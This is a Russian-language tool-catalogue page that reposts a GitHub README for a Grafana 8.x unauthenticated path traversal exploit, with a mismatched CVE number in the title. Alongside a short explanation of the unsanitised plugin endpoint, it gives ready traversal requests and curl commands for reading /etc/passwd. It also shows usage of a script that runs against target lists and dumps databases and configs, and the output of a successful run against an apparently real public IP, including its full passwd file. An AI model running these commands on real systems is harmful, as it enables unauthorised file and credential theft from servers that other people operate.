Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-43799 — Код эксплойта на Python | Kitploit
Инструменты/GitHubGitHub/scopion/cve-2021-43799
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHubscopion/cve-2021-43799

CVE-2021-43799

Код эксплойта на Python

Репозиторий
124 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-43798

Grafana 8.x обход пути (без аутентификации) Вся заслуга принадлежит j0v и его твиту https://twitter.com/j0v0x0/status/1466845212626542607

Отказ от ответственности

Этот материал предоставлен только в образовательных целях. Я не несу ответственности за ваши действия. Используйте на свой страх и риск. В знак доброй воли я воздерживался от публикации этого PoC до тех пор, пока эта уязвимость не стала публичной или не появился патч.

Оглавление

  • Пояснение — Объяснение уязвимости
  • Векторы атаки — Список атак, которые можно выполнить
  • Эксплойт-скрипт — Использование эксплойт-скрипта

Пояснение

Я заметил твит от j0v, в котором утверждалось, что он нашёл баг обхода пути в Grafana. Из любопытства я начал изучать исходный код Grafana. В твите упоминалось, что это баг без аутентификации. В Grafana есть лишь несколько публичных API-эндпоинтов, и только один из них принимал путь к файлу от пользователя. У Grafana есть публичный API-эндпоинт /public/plugins/:pluginId, который позволяет просматривать ресурсы плагина. Он работает так: передаётся валидный :pluginId, а затем указывается путь к файлу, например img/logo.png. Однако Grafana не очищает переданный пользователем путь к файлу, что приводит к обходу пути. Запрашиваемый каталог находится по пути <grafana>/public/app/plugins/panel/<pluginId>. В стандартной установке Grafana каталог данных находится по пути /usr/share/grafana. Таким образом, поднявшись на 8 каталогов вверх, можно достичь корневого каталога файловой системы. HTTP-запрос:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Проблемный код: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284 Примечание: это не работает в браузере (браузер автоматически схлопывает ../ в пути) Проверить можно с помощью curl, используя аргумент --path-as-is:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Справка:

root@kitploit:~
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -l INPUT_LIST, --list INPUT_LIST
                        Input list of ip:port
  -db, --database       Dump db
  -cfg, --config        Dump config
  -c, --check           Enable output regex checking (Suppress false positives)
  -t TARGET, --target TARGET
                        Single target
  -f TARGET_FILE, --file TARGET_FILE
                        Remote target file
  -w WRITE_FILE, --write WRITE_FILE
                        Directory to write files to.
  -v, --verbosity       Verbosity

Получить файл:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list

Дамп БД:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -db

Дамп конфигурации:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -cfg

Другие опции:

Выводить только валидные файлы:

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin

Записать файл в каталог files:

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files
Скачать инструмент